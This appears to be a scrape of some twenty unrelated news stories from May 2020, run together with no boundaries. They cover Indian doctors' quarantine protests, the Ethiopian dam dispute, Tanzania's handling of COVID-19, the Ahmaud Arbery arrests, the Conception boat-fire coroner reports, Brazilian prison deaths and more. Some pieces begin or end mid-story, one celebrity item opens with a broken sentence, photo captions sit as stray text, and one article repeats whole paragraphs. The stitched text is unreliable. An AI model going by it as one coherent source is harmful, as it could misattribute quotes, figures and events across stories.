As per the Union health ministry guidelines issued on May 15, healthcare workers serving in COVID-19 areas do not need to undergo quarantine unless there has been violation in the use of PPE or any otherform of high-risk exposure or they have symptoms suggestive of coronavirus infection.

However, healthcare workers on the frontline have raised objections to the new guidelines.

The Federation of Resident Doctors' Association (FORDA) has called for the black ribbon protest to demand proper quarantine and testing for all healthcare workers on COVID-19 duty.

The FORDA had also written to Union Health Minister Harsh Vardhan seeking a revision of the guidelines stating the virus has an incubation period of 2-14 days following exposure and there are multiple instances of doctors testing positive for the disease following a second test or subsequently after that.

"Under the current situation, at least 7-day quarantine, along with adequate testing of all doctors, after COVID-19 duty is necessary in order to prevent spread of infection among colleagues and their family members,FORDA president Dr Shivaji Dev Barman said.

"So far there has been no response from the authorities," Dr Barman said.

Delhi's Lady Hardinge Medical College had issued a circular on Thursday stating hotelfacility during post-duty period days in COVID and suspected COVID zones provided to healthcare workers is hereby withdrawn and "the occupants are directed to please vacate their rooms immediately.

"If any overstay is noticed, charges paid for the overstay will have to be recovered from their salaries, the circular said.

There is no change in the instructions related to the HCWs, who are presently working with COVID-19 facilities andhotelaccommodation will be available to those still on COVID-19 duties at the hospital, it said.

A similar circular was issued by the RML hospital administration also.

Meanwhile, the LNJP Hospital authorities, which had issued an order telling all quarantined healthcare workers to vacate hotels and other lodging facilities given to them,said the decision was on Thursday "put in abeyance" for a week, sources said.

A sources said, "The RDA of the Maulana Azad Medical College (MAMC) submitted a representation to the hospital authorities, raising infeasibilities in complying with the order, like spreading infection to their family if healthcare workers leave the quarantine facility before the 14-day period".

Previously, all healthcare personnel doing COVID-19 duty had to work for 14 days and it was thenfollowed by 2 week quarantineto ensure they don't spread the infection to anyone else.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
New Delhi, May 22 : The ruling BJP on Friday lashed out at the Congress and other opposition parties which met in the national capital today, accusing them of "doing politics even in the time of corona pandemic".

"The opposition is cut off from people and is frustrated. The Opposition is giving evidence of its politics of negativity when the entire country should unitedly and decisively fight against coronavirus. Today's opposition meeting which was convened by Congress is a manifestation of that politics of negativity," alleged Information & Broadcasting Minister and senior BJP leader Prakash Javadekar.

He also accused the Congress-led opposition of shifting goal posts. "First they complained why the lockdown was not being extended and now they complain why it is being extended," he said.

Speaking in the opposition meeting, attended by 22 parties, Congress leader Rahul Gandhi on Friday said that the COVID-19 lockdown has not yielded results. "We had two motives for the lockdown -- to contain the disease and curb its spread. But the infection is increasing," Rahul Gandhi said, adding "today the infection is increasing, but we are lifting the lockdown. This means the lockdown which was implemented without thought is not giving correct results." Sonia Gandhi, too, hit out at the Centre over its alleged attack on federal structure.

Javadekar took a dig at Congress leader Priyanka Gandhi, without naming her, referring to the "bus politics". He alleged when more than 50 lakh migrants had been sent home, "they started doing politics by sending a few buses".

The Congress offered 1,000 buses for ferrying migrants to various places in Uttar Pradesh, which got stuck in a letter war between the Congress and the UP government.

Friday's opposition meet was convened by Congress' interim President Sonia Gandhi to discuss the government's handling of the COVID-19 as well as issues related to migrants' crisis and economic hardships.
Egypts government announced it is ready to revive negotiations with Ethiopia and Sudan over the Grand Ethiopian Renaissance Dam after the dispute reached the United Nations Security Council earlier this month.

The Egyptian Foreign Ministrys statement came after Sudans Prime Minister Abdalla Hamdok and Ethiopias Prime Minister Abiy Ahmed agreed on Thursday to trilateral talks between the countries irrigation ministers, Ahram Online reported.

Egypts government has strongly opposed Ethiopias plan to fill the dam, construction of which began in 2011. Egypts Foreign Minister Sameh Shoukry wrote in a letter to the UN Security Council earlier this month that starting to fill the dams 74 billion cubic meter reservoir would jeopardize the water security, food security, and indeed, the very existence of more than 100 million Egyptians, who are entirely dependent on the Nile River for their livelihood.

Ethiopia has most recently said it intends to fill the dam's reservoir by July. Ethiopia has appealed to other members of the Nile Basin Initiative, including Rwanda, Kenya and Uganda, for support.

Cairo insists upon an agreement before the dam is filled and has sought US mediation in negotiations.

Egypt, Ethiopia and Sudan announced in February that they had agreed on a path forward in negotiations backed by the United States and the World Bank. Ethiopia then skipped the last round of talks in Washington and denied any deal had been reached.

The United States backed a draft agreement for the three parties to sign, but Ethiopia rejected the proposal, saying it would reduce the dams power generation capacity.

Egypts foreign minister raised the possibility of armed conflict in his letter to the UN Security Council on May 1.
2 1 of 2 John Storey / Special to The Chronicle Show More Show Less 2 of 2 John Storey / Special to The Chronicle Show More Show Less



In a bit of much-needed good news for San Francisco burrito-lovers, the iconic Mission District restaurant La Taqueria is set to reopen on May 27 for takeout, more than two months after the business closed its doors due to the coronavirus pandemic.

According to Miguel Jara, who has owned the San Francisco taqueria alongside his immediate family since 1972, the original plan was to pay his employees for the remainder of the year and keep the location closed, for safety reasons. But, he said, over the last few weeks more of his employees have been encouraging him to reopen. Plus, paying his employees through December without generating revenue just wasnt realistic, he said.
Delegations of PoJK displaced persons, Valmikis and Gorkhas met Lieutenant Governor Girish Chander Murmu on Friday and thanked him and the Government of India (GoI) over the "historic" new domicile rules issued by the Jammu and Kashmir administration.

Pakistan occupied Jammu and Kashmir (PoJK) displaced persons, Valmikis, women marrying outside communities, non-registered Kashmiri migrants, displaced people will soon get domicile under a new set of rules issued by the Jammu and Kashmir administration on Monday.

The administration notified Jammu and Kashmir grant of domicile certificate (procedure) rules, 2020, thereby formulating rules to prescribe the procedure for issuance of domicile certificate, which has been made the basic eligibility criteria for appointment to any post under the union territory following amendments in the Jammu and Kashmir Civil Services (decentralization).

The delegations of PoJK displaced persons, J&K Gorkha Sabha and Valmikis, today called on Lieutenant Governor Girish Chandra Murmu here at the Raj Bhavan and thanked the Government of India and UT Administration for Domicile Law in J&K, an official spokesman said.

While interacting with the Lt Governor, the members of the delegations said that new domicile law has given due representation to those who previously were kept outside the sphere of the constitutional safeguards.

A delegation of POJK Displaced Persons headed by Dr Narinder Singh Raina apprised the Lt Governor about their welfare issues including the constitution of Welfare Board for POJK Refugees.

Singh said "it is a historic decision. It will pave the way for the end of injustice and will ensure the equal development of all".

Another delegation of J&K Gorkha Sabha led by its President, Karuna Chhetri drew Lt Governor's attention towards various issues of their community and also demanded preference and reservation in Government Jobs for the people of the Gorkha Community.

"We were living unwanted citizens of Jammu and Kashmir without rights for several decades. Justice has been done", Karuna said.

The members of Valmiki Samaj delegation apprised the Lt Governor about various welfare issues of their community. They demanded preferences in Government Jobs to people belonging to Valmiki Community, on which, the Lt Governor said that a Commission has been established to look into such matters.

The Lt Governor observed that the development of every section of the society is a key in the development of any region and the Government is making every possible effort to meet the development aspirations of people of all communities of J&K.

He also assured the delegations to review all their genuine issues and demands so that effective measures could be taken for their welfare in right earnest.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
JERSEY CITY  Protesters circled Trump Bay Street Friday morning carrying makeshift body bags and demanding federal aid to be channeled toward communities they say have been left unassisted and vulnerable during the pandemic.

Speakers at the event organized by Make the Road New Jersey called the Trump administrations response to the pandemic a failure that has devastated immigrant communities. The New Jerseyans who have disproportionately suffered from the virus and economic downturn need relief, including rent cancellations and stimulus funding, they said.

This pandemic has ruined our family, said Luis Abrego, a Make the Road New Jersey member. Weve been eight, almost nine weeks at home and have no money because immigrants have been left behind from the stimulus.

The protesters began at Trump Bay Street, a 50-story luxury building owned by Jared Kushners Kushner Companies, but concluded around the corner at the Trump Plaza building.

They placed the body bags under the presidents name as the U.S. coronavirus death toll approaches 100,000.

Make the Road New Jersey, an organization advocating for immigrants and Latinx communities, held the protest in Spanish and English. The small group of protesters spread out in front of the Kushner property singing Trump Trump, dont you know what your lies have done to me? in between speeches from advocates and members of the organization.

The $1,200 stimulus checks that most adult Americans received passed over hundreds of thousands of immigrants living in New Jersey, according to Make the Road. Undocumented residents were never eligible for the relief, but many citizen spouses and children of undocumented residents also found themselves ineligible.

The omission of the communities from aid was intentional, despite those very people being the backbone of the essential work force during the pandemic, said Amy Torres, a housing rights advocate who spoke at the protest.

Were the ones that have carried Jersey City, were the ones who have carried Hudson County, were the ones who have carried New Jersey through this crisis, Torres said.

A new federal stimulus bill, the HEROES Act, would provide relief for residents of the United States who file taxes without social security numbers, which includes undocumented immigrants and non-citizens.

The bill has passed the House and the protesters urged the Senate to approve it as well. Make the Road New Jersey had previously lamented that the bills provisions would not lead to rent cancellations.
Iran's Supreme Leader Ayatollah Ali Khamenei called on Palestinians on Friday to continue their uprising against Israel, suggesting the Israeli government was a "tumor" that should be confronted until Palestinians were liberated.

Opposition to Israel is a touchstone of belief for Shiite-led Iran, which backs Palestinian and Lebanese Islamic militant groups opposed to peace with the Jewish state, which Tehran refuses to recognize.

"The uprising by Palestinians should continue ... fight to liberate Palestine is an obligation and an Islamic jihad ... The Zionist regime (Israel) is a cancerous tumor in the region." Iran's top authority Khamenei said in an online speech.

"Today, the world is counting one by one every victim of the coronavirus across the globe, but nobody has asked who is responsible for the hundreds of thousands of martyrdoms, imprisonments and disappearances in Palestine and in countries where the U.S. and Europe have waged wars?," he said.

"The long-lasting virus of Zionists will be eliminated."

Khamenei and other senior Iranian officials have called repeatedly over the years for an end to the Jewish state, including through a referendum in the region, where Palestinians are in the majority.

Khamenei reiterated the call in his speech on Quds Day, which uses the Arabic name for Jerusalem, held on the last Friday of the Muslim fasting month of Ramadan. The annual occasion was inaugurated by Ayatollah Ruhollah Khomeini, late founder of Iran's 1979 Islamic Revolution.

However, Iran's clerical rulers had to cancel annual nationwide rallies marking Quds Day due to the coronavirus outbreak. Iran is one of the most-affected countries in the region with 7,249 deaths and a total of 129,341 infections.

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On Wednesday,was held at one of the studios in Hyderabad. The couple, who made their relationship official few weeks back, decided to host the pre-wedding ceremony and celebrate it with close friends and family. Ranas good friend, Naga Chaitanya and Samantha Akkineni, were also present.

Samantha shared a group click from the function on her Instagram and captioned it, The best news of 2020. Amidst the lockdown, the special bonds surely brings a smile on our faces. But what left us amazed and going awww was this banter between spouses Naga and Samantha.

Samantha, who loves sharing stuff on Instagram shared a cute click of Naga Chaitanya. In the click, the actor is seen grinning and flashing his million-dollar smile. Moreover wifeys caption is so sweet and teasing. The actress caption read, After sending mommy, aunties, sister, friends, very straight male friends its now Instagram turn .. ' See eee my husband looks so handsome no ???? ( husband is somewhere digging a large pit to jump into right now ).

Now while this cutesy caption made us smile, looks like Naga decided to pull his wifes leg and trolled her with his witty caption saying, Okay now, this looks like those one of the paid partnership posts.

Naga Chaitanya and Samantha Akkineni is a power pair down South. The two are surely serving couple goals all the time. They tied the knot in 2017 and their dreamy wedding pictures made us believe in fairytale romances.








As Southern and Midwestern states start to reopen, several are at risk of a second wave of coronavirus infections within the next month, a new model shows.

Cities such as Dallas and Miami could see COVID-19 infections surge to about 700 cases per day.

And Houston, the fourth-most populated city in the US, could see daily cases surge to more than 2,000 per day.

The model, from the PolicyLab at Children's Hospital of Philadelphia, uses cellphone data to track changes in mobility to predict the trajectory of new infections over the next four weeks.

Hotspots were predicted in at least six US states: Alabama, Florida, Iowa, Nebraska, Oklahoma and Texas.

'As communities reopen, we're starting to detect evidence of resurgence in cases in places that have overreached a bit,' Dr David Rubin, a pediatrician and director of CHOP's PolicyLab, told The Washington Post.

It comes as all 50 states at least partially reopened this week by relaxing restrictions on businesses and social distancing in varying degrees across the country.

A new model from PolicyLab predicts that as southern and Midwest states loosen restrictions, their daily new cases will rise over the next four weeks making them the new US coroanvirus hotpsots

The biggest spike was seen in Houston, with cases in Harris County surging to 2,247 by June 16 compared to the 205 daily cases recored on May 14

In Miami, daily cases could spike to 746 by June 16, the model shows. The most recent data from May 14 showed that daily infections were down to 274

The model showed that, in Palm Beach, daily infections could reach 350 per day, a 243 percent jump from the 102 new cases recorded on May 14

For the model, the team looked at 389 counties across the country with active outbreaks, in which 68 percent of the US population resides.

They looked at daily case counts by county, which were obtained from The New York Times and USAFACTS, and used Unacast cellphone data to track mobility changes.

Next, they estimated forecasts of how daily cases would increase or decrease over a four-week period.

Researchers found that cases with early reopening plans were more prone to resurgences over the next four weeks.

For example, in Miami, daily cases could spike to 746 by June 16, the model shows. The most recent data from May 14 showed that daily infections were down to 274.

And in Palm Beach, daily infections could reach 350 per day, a 243 percent jump from the 102 new cases recorded on May 14.

Florida, which has more than 49,000 infections and more than 2,100 deaths, has lifted restrictions by allowing retail stores, restaurants, gyms and personal care services to reopen at limited capacity.

Sporting venues can also reopen without spectators but bars, nightclubs and cinemas remain closed.

The model also showed grim projections for Harris County, Texas, where the city of Houston is located.

The county recorded 205 new cases on May 14, but researchers predict infections could potentially surge to 2,247 by June 16.

In Dallas, the team estimates that cases could reach 715 per day by June 14 after just 243 were recored on May 14

The model predicts that new daily infections in Montgomery, Alabama could surge to 201 by June 16 from about 48 per day recorded on May 15.

Meanwhile, cases in Atlanta, Georgia could start increasing and hit 59 on June 16. Infections in the city, which is in Fulton County, have been rising and dropping sporadically since March. The state, which was the first to aggressively start reopening, has recorded more than 41,000 infections and over 1,700 deaths

And, in Dallas, the team estimates that cases could reach 715 per day by June 14 after just 243 were recored on May 14.

Texas, which currently has more than 52,000 cases and more than 1,400 deaths, has allowed retail stores, restaurants, movie theaters and malls to reopen at 25 percent capacity.

In some parts of the state, the establishments can open at 50 percent capacity.

'We're...seeing in our models that some areas - particularly in the south - that have moved more quickly to reopen are showing a higher risk for resurgence,' the team wrote.

'If people in Houston and Palm Beach, Florida, for example, aren't being cautious with masking in indoor crowded locations and with hygiene and disinfection, local governments may need to intervene again should they lose control of the epidemic.'

In Alabama, which has more than 13,000 infections and more than 530 deaths, gyms and personal care services have been able to reopen. Restaurants can also reopen with limited seating.

The model predicts that new daily infections in Montgomery could increase to 201 by June 16.

Currently, daily cases have been slowly increasing in the city with the count at 48 as of May 15.

In Tulsa, Oklahoma, cases are not expected to spike, but at least double from about 10 per day to 20 perday.

Meanwhile, cases in Atlanta, Georgia, could start increasing and hit 59 on June 16.

Infections in the city, which is in Fulton County, have been rising and dropping sporadically since March.

The state, which was the first to aggressively start reopening, has recorded more than 41,000 infections and over 1,700 deaths.

Gyms, personal care and restaurants have been allowed to reopen in the state.

Georgia Gov Brian Kemp has been accused of caring more about saving businesses than saving lives, a charge he dismissed as 'ridiculous.'

The Midwest is also at risk of a resurgence. The Washington Post saw caseloads spike in Crawford, Iowa and Colfax, Nebraska.

The newspaper reports that Crawford County saw cases increase by 750 percent, and in Colfax County by 1,390 percent.

'Given these cautious actions by our governments, we have already seen that the predicted resurgence in most places that are beginning to reopen - rather, daily cases are either plateauing or falling,' the CHOP researchers said.

'But the picture our models are painting for Texas and Florida provide ample evidence to others who would choose to move too quickly. We see these concerns even as we adjust for additional testing capacity that might have inflated our forecasts.'
On just one day this month, 50 Tanzanian truck drivers tested positive for the coronavirus after crossing into neighbouring Kenya.

Back home, their president insists that Tanzania has defeated the disease through prayer.

All the while, President John Magufuli has led a crackdown on anyone who dares raise concerns about the virus's spread in his East African country or the government's response to it.

Critics have been arrested, and opposition politicians and rights activists say their phones are being tapped.

The country's number of confirmed virus cases hasn't changed for three weeks, and the international community is openly worrying that Tanzania's government is hiding the true scale of the pandemic.

Just over 500 cases have been reported in a country of nearly 60 million people.

While many African countries have been praised for their response to the coronavirus, Tanzania is the most dramatic exception, run by a president who questions or fires his own health experts and has refused to limit people's movements, saying the economy is the priority.

Fatma Karume, a human rights activist and former president of the Tanganyika Law Society, said authorities are discouraging people from going to hospitals to avoid overwhelming them, but they are not giving adequate guidance about the virus.

When you are disempowering a whole nation by withholding information and creating doubt on how they should respond to the crisis, the outcome can be disastrous, Karume said.

The president has refused to shut churches, mosques and other gathering places, such as pubs and restaurants.

He has questioned the accuracy of tests done by the national laboratory, saying the swabs used may themselves be tainted with the virus.

He has suspended the head of the laboratory and fired the deputy health minister.

On Thursday, Magufuli ordered the Health Ministry and other agencies not to receive personal protective equipment from donors until tests are done to ensure it works and is safe.

While Magufuli halted international passenger flights in April, he is now allowing them to resume and says any visitor who doesn't have a fever will be allowed in.

For most people, the coronavirus causes mild or moderate symptoms.

For some, especially older adults and people with existing health problems, it can cause more severe illness and lead to death.

The president has argued that if restrictive measures are adopted, Tanzanians may have nothing to eat.

In fact, rather than urge Tanzanians to keep their distance, one Magufuli ally encouraged them to flood the streets this weekend to celebrate.

Make all kinds of noise as a sign of thanksgiving to show our God has won against disease and worries of death that were making us suffer, Paul Makonda, the regional commissioner of commercial hub Dar es Salaam, said at a briefing.

In March, Magufuli ordered three days of national prayers against COVID-19 and has since said they have been answered.

While health experts say recorded coronavirus cases and deaths the world over are undercounts, opposition leaders accuse Magufuli's government of hiding the outbreak's true toll.

Government spokesman Hassan Abbas told The Associated Press that it would be impossible to cover up an outbreak.

He also dismissed reports that hospitals were overwhelmed, noting that one, which has room for over 160 patients, only had 11.

It is unfortunate that COVID-19 has come up with lots of misinformation, propaganda and false news," he added.

He said Tanzania has taken measures to curb the disease, and infection rates are falling, though he gave no data.

He said the country's health officials have been working hand in hand with international experts, including at the World Health Organization.

Officials outside Tanzania remain worried.

We strongly call on Tanzania, encourage Tanzania, to share data in a timely fashion, the head of the Africa Centers for Disease Control and Prevention, John Nkengasong, said this month, adding that fighting the virus is more difficult without accurate data from all member states.

No country is an island, he warned.

On Thursday, Nkengasong said Tanzania still had not provided the body with any more information but officials were still hoping the government would eventually cooperate.

Kenya closed its border with Tanzania this month except for cargo traffic and imposed stringent testing measures on Tanzanian truck drivers after more than 50 of them tested positive for the virus in a single day.

The US Embassy in Tanzania has issued an unusual statement, warning its citizens that all evidence points to exponential growth of the epidemic and that hospitals in Dar es Salaam have been overwhelmed with COVID-19 cases.

On Tanzania, yes, it's very disappointing, the top US diplomat for Africa, Tibor Nagy, told reporters this week.

Obviously, they are very concerned with the economic impact that the loss of the tourism industry is going to have on them, but I can't imagine any tourists flocking back there in such an uncertain environment.

In a more subtle note of concern, the British High Commission announced a charter flight for British nationals who want to leave.

Meanwhile, the climate of fear has grown inside Tanzania, rights groups and critics say, as Magufuli seeks a second term in an October election that shows no sign of being delayed despite the pandemic.

Magufuli has stifled independent journalism since taking office and severely restricted the work of non-governmental organizations, according to rights groups.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The US-led coalition against the Islamic State says two senior IS leaders were killed in Syrias Deir ez-Zor province during a raid carried out with the Kurdish-led Syrian Democratic Forces.

Ahmad Isa Ismael al-Zawi, also known as Abu Ali al-Baghdadi, and Ahmad Abd Muhammad Hassan al-Jughayfi, or Abu Ammar, were killed in a raid Sunday, the US-led coalition announced today.

Zawi was IS' wali, or regional governor, of north Baghdad, responsible for disseminating guidance from senior IS leaders to local operatives, according to the coalition.

Jughayfi was "a senior [IS] logistics and supplies official responsible for directing the acquisition and transport of weapons, IED materials, and personnel across Iraq and Syria, todays statement read. IEDs are improvised explosive devices.

The SDF and the coalition also conducted a raid in the eastern Syrian town of Shuhail that led to the death of one IS suspect and the arrest of three others, according to statements today.

The raids come amid a string of SDF operations against suspected IS members over the past week in the areas of Tabqa, Busayrah and Dashisha.

The UK-based Syrian Observatory for Human Rights said earlier this week that the SDF had launched raids resulting in the arrest of seven people on suspicion of IS affiliation around Raqqa.

The coalition and the SDF captured IS last remaining territory in Syria in Deir ez-Zor in March, but the area continues to see killings and attacks attributed to sleeper cells.

Across the border in Iraq, the coalition has scaled back its operations against IS since consolidating forces at larger bases due to the coronavirus pandemic and attacks by Iran-linked militias.
Copyright  2020 Albuquerque Journal

The Essential Guide, an annual publication that highlights the arts, architecture, culture, fashion, history and lifestyle of Santa Fe and Taos, has changed hands.

New owner Kelly Haug said she will not only continue publishing the guide, but also plans to revive the currently defunct Santa Fean magazine.

With the addition of a few new members, the Essential Guide team will begin re-establishing the bimonthly Santa Fean as a go-to publication that celebrates the citys unique culture, events and diverse history, a news release said.

The Santa Fean ceased publication late last year after being in existence since 1972.

Haug bought The Essential Guide brand  which also publishes local versions in the Pacific northwest, Napa Valley and the Charleston, South Carolina/Savannah, Georgia market  from Trish and Chip Byrd. The Byrds owned the 32-year-old guide for the last 14 years, and said the brand is in good hands with Haug, a rising star in Santa Fes business community.

You can expect a seamless transition and the same high-quality content, along with fresh, new touches Kelly will bring to the enterprise, they said in a statement.

Trish Byrd will stay on as brand advisor for both the guide and the Santa Fean, and the current staff will remain intact.

Haug and husband Martin, who have daughters ages 3 and 7, settled in Santa Fe in 2018. She formed two publishing companies  SF Publishing LLC and City Different LLC  earlier this year.

I fell in love with Santa Fes art, architecture, food, customs and people the first time my husband brought me to his hometown, Haug wrote in a news release. My goal is to help The Essential Guide readers experience what makes Northern New Mexico unique.
LOS ANGELES  Coroners reports for the 34 victims who died in a scuba boat fire off the Southern California coast last year show they died of carbon monoxide poisoning before they were burned, authorities said Thursday.

All thirty-three scuba divers and one crew member died in the Sept. 2 fire aboard the Conception, anchored off Santa Cruz Island. The only survivors were the captain and four other crew members, who were asleep above deck.

The Santa Barbara County coroners reports list smoke inhalation as the cause of death for the 34 victims, all of whom were in the below-deck bunk room when the fire broke out. The manner of death is considered accidental, said Lt. Erik Raney of the Santa Barbara sheriffs office.

The pre-dawn blaze swept through the boat anchored off the Channel Islands for a three-day excursion over Labor Day Weekend. Passengers included a girl celebrating her 17th birthday with her parents and friend, an environmental scientist and a professional photographer.

Some were wearing clothes and shoes, Raney said. One held a cellphone, while another grasped a flashlight. Their bodies were not discovered in their cramped bunks: some were found on the surface of the water, others inside the boats hull or on the ocean floor.

Image: Multiple Fatalities In Boat Fire Near Santa Cruz Island (Mario Tama / Getty Images)

Ken Kurtis, a veteran diver and instructor who has been on the Conception several times, said while its unusual for passengers to be sleeping in their clothes or shoes, its not unthinkable when the temperature drops over the water at night  and not evidence that anyone had tried to escape the flames.

The survivors have said they awoke to find the boat engulfed in flames and were unable to reach the sleeping passengers or the sixth crew member and had to jump in the water to save their own lives.

An official from the National Transportation Safety Board has cited how difficult it was to reach an escape hatch in the bunk room, a design that has routinely met regulations. Coast Guard records show the boat had passed its two most recent safety inspections without violations.

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Raney told The Associated Press the coroners office did not do internal autopsies of the bodies. He said external examinations of the victims and black soot in their trachea, as well as toxicology tests, showed enough evidence of smoke inhalation and carbon monoxide poisoning to avoid autopsies.

The coroners reports were first reported Tuesday by the Santa Barbara Independent.

Authorities have said all six crew members were asleep when the fire started  despite Coast Guard regulations requiring a roving night watch.

Several victims families have filed wrongful death lawsuits as counter-claims against the boat company, Truth Aquatics Inc., which has filed a legal claim to shield the owners from damages under a pre-Civil War maritime law that limits liability of vessel owners.

The Coast Guard, FBI, and U.S. attorneys office in Los Angeles are leading an ongoing criminal probe, and the National Transportation Safety Board is investigating safety issues.
After arrest of man who filmed killing, officials in US state say they are confident those involved have been charged.

The prosecutor in the US state of Georgia now handling the fatal shooting of Ahmaud Arbery spoke for the first time about the case on Friday, pledging to make sure that we find justice for a broken family and community.

Georgia Bureau of Investigation Director (GBI) Vic Reynolds also appeared alongside Cobb County District Attorney Joyette Holmes, saying that at this point we feel confident the individuals who needed to be charged have been charged.

Arbery, an unarmed Black man, was killed on February 23 after a white father and son armed themselves and pursued him after spotting the 25-year-old man running in their neighbourhood, a video of the incident shows. More than two months passed before authorities arrested Gregory McMichael and his son, Travis McMichael, on charges of felony murder and aggravated assault.

Holmes and Reynoldss news conference at GBI headquarters in Decatur followed the arrest on Thursday of William Roddie Bryan Jr on charges of felony murder and criminal attempt to commit false imprisonment.

Bryan, 50, is the man whose cellphone video of Arberys shooting prompted a national outcry.

We are going to make sure that we find justice in this case. We know that we have a broken family and a broken community down in Brunswick, Holmes said.

Asked how Bryan could be charged with murder if he did not pull the trigger on the weapon used to kill, Reynolds referred to Bryans arrest warrant, which says he tried to confine and detain Arbery without legal authority by utilising his vehicle on multiple occasions before Arbery was shot.





Bryans lawyer, Kevin Gough, has said his client played no role in Arberys death, asserting that: Roddie Bryan is not now, and has never been, more than a witness to the shooting.

But the GBI director said on Friday that if we believed he was a witness, we wouldnt have arrested him.

Under Georgia law, a felony murder charge means that a death occurred during the commission of an underlying felony and does not require intent to kill. A murder conviction in Georgia carries a minimum sentence of life in prison, either with or without parole.

GBI investigation to wrap up soon

Reynolds said the investigation into Arberys killing was still active and continuing but that he expected his investigators would finish soon and hand over the case to Holmes. He said he also expected an investigation into the handling of the case by two local prosecutors to be completed soon and turned over to the attorney generals office.

The GBI was also working hand in hand with federal officials, Reynolds said. Since Georgia lacks a hate crime law, any hate crime prosecution would have to be undertaken by the US Justice Department.

Gregory McMichael told police he suspected Arbery was a burglar and that Arbery attacked his son before being shot. Bryan lives in the same subdivision, just outside the port city of Brunswick. Arberys mother has said she believes her son was just running in the neighbourhood.

After Bryans video leaked online on May 5, Governor Brian Kemp called the slaying absolutely horrific. The GBI took over the case from local police and the arrests of the McMichaels followed on May 7.

A white and orange cross with an A on it stands stuck in the ground along Highway 17 at the entrance of the Satilla Shores neighbourhood where Ahmaud Arbery, an unarmed young Black man, was killed [Dustin Chambers/Reuters]

The Glynn County police incident report says Gregory McMichael told an officer that at one point Arbery began running back the direction from which he came and `Roddy attempted to block him which was unsuccessful. It is the only mention in the police report of any potential involvement by Bryan.

Gough did not immediately return email and text messages on Friday. He did not answer his phone and his voicemail was full. His statement on Monday said Bryan is not a vigilante. Roddie did not participate in the horrific killing of this young man. Mr Bryan has committed no crime, and bears no criminal responsibility in the death of Ahmaud Arbery.

Lawyers for Arberys parents expressed gratitude over Bryans arrest.

We called for his arrest from the very beginning of this process, lawyers S Lee Merritt, Benjamin Crump and L Chris Stewart said in a statement. His involvement in the murder of Mr Arbery was obvious to us, to many around the country and after their thorough investigation, it was clear to the GBI as well.

Gregory McMichael retired last year after more than two decades as an investigator for the local prosecutors office. Because of those ties, Brunswick Judicial Circuit District Attorney Jackie Johnson recused herself. Two other outside prosecutors stepped aside in succession before Holmes was appointed.

Now Bryan is behind bars along with the McMichaels in the Glynn County jail. A judge has yet to decide whether to free them on bond pending trial. Attorneys for the father and son have urged people not to rush to judgement.
Reno Omokri has reacted to the recent announcement of a public holiday for the celebration of Eid el-Fitr.

Taking to his page, Omokri asked if the country has enough body bags as he can not understand why such will be allowed with the pandemic still ravaging the country.

Read Also: Money Makes You More Useful To God  Reno Omokri

Before Kano and other Northern states throw caution to the wind and reopen mosques for Eid el-Fitr celebrations, let them know that their morgues are already full, their hospitals are already overstretched, and their doctors are overwhelmed beyond measure.

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By this act, there are likely to be more deaths in Nigeria, and nobody in his right mind will rush to assist us, especially after we have flooded the Internet, using computer systems created by Microsoft, to insult and attack a man like Bill Gates, who has spent $1 billion of his own money trying to save people who do not value their own lives, and who are not mature enough to understand the relationship between cause and effect!

In Africa, ignorance is the main pandemic, Omokri wrote.
An investigation is being called for after 48 inmates died in Brazilian prisons in the last two months but only four were attributed to the coronavirus pandemic - despite records showing respiratory failure was the cause of deaths at some prisons.

The Public Defender's Office in Rio de Janeiro questioned the Penitentiary Administration Secretariat after the defense group reported this week a 33 percent spike in inmate deaths over the last two months - compared with the same period in 2019 - since the coronavirus pandemic swept across the Rio de Janeiro prison system.

The death totals between March 15 to May 15 were the highest authorities have reported in six years.

Aerial picture showing inmates on top of towers at the Puraquequara prison during a rebellion to demand better conditions inside the prison during which seven prison guards were taken hostage in Manau, Brazil, on May 2

Inmates at the Puraquequara prison in Manaus stand on a water tower during a May 2 protest against bad conditions and restrictions on family visits put in place to curb the spread of the coronavirus

Emanuel Queiroz, a criminal defense coordinator for the Public Defender's Office in Rio de Janeiro, found the four deaths to be a relatively low number of coronavirus fatalities and questioned the finding of respiratory failure.

Symptoms of COVID-19 include shortness of breath or difficulty breathing; cough; fever; chills; muscle pain; sore throat and loss of taste or smell.

'Under normal situations, we already have a high death rate in the Rio de Janeiro prison system as a result of the health problem that affects almost all prison units,' Queiroz said.

'The situation, which was already serious in normal times, worsened in extraordinary times like the one we are experiencing today,' he added.

Relatives hold their hands up in prayer outside the Puraquequara prison where inmates protested against bad conditions and restrictions on family visits

Inmates at Puraquequara's prison are seen on the roof as a police helicopter flies over during a May 2 riot following an outbreak of the coronavirus

Police officers are seen at Puraquequara's prison during a riot following a COVID-19 outbreak at the facility in Manaus, Brazil

Rio de Janeiro's prison system is home to 49,000 detainees, of which 800 are over the age of 60 and considered at risk of being infected with the coronavirus due to their age.

In an effort to mitigate the spread of the virus, the state government postponed jail visits and signed off on the provisional release of 2,200 inmates.

Data released by the health ministry Friday showed that the deadly virus has killed a total of 3,412 residents in Rio, the second-highest amount behind Sao Paulo.

Brazil ranks third in the world with 312,074 confirmed cases behind the United States and Russia. The South American nation is sixth with 20,112 deaths.
The Trump administrations response to COVID-19 has been marked by speculation, unfounded forecasts, and foot-dragging. President Trumps personal performance has too often been dismissive, defensive, and deceptive.

The result, a rising narrative contends, is a global leadership vacuum that China is rushing to fill. (This take has been a steady feature of recent years, but COVID-19 has given it fresh legs.) The regime in Beijing was quick to recognize the opportunity the pandemic presented, argues a piece at Der Spiegel. Bloomberg envisions a possible shifting [of] the global balance of power, while The Atlantics Anne Applebaum describes how Chinese propaganda is finding success in an atmosphere profoundly changed by the American presidents simultaneously catastrophic and ridiculous failure to cope.

Theres no denying Trump is the subject of international ridicule; the Atlantic story marshals an array of foreign press clippings to glimpse international lack of confidence in the president, which Pew Research data also demonstrated before the pandemic began. But it doesnt follow that the United States moving away from a foreign policy of managing world affairs is to our detriment. On the contrary, a more restrained and humble foreign policy would serve us well.

In this pandemic and after, U.S. foreign affairs should become less dependent on personal presidential gravity and military intervention and more reliant on diplomacy, trade, and leadership through example rather than coercion.

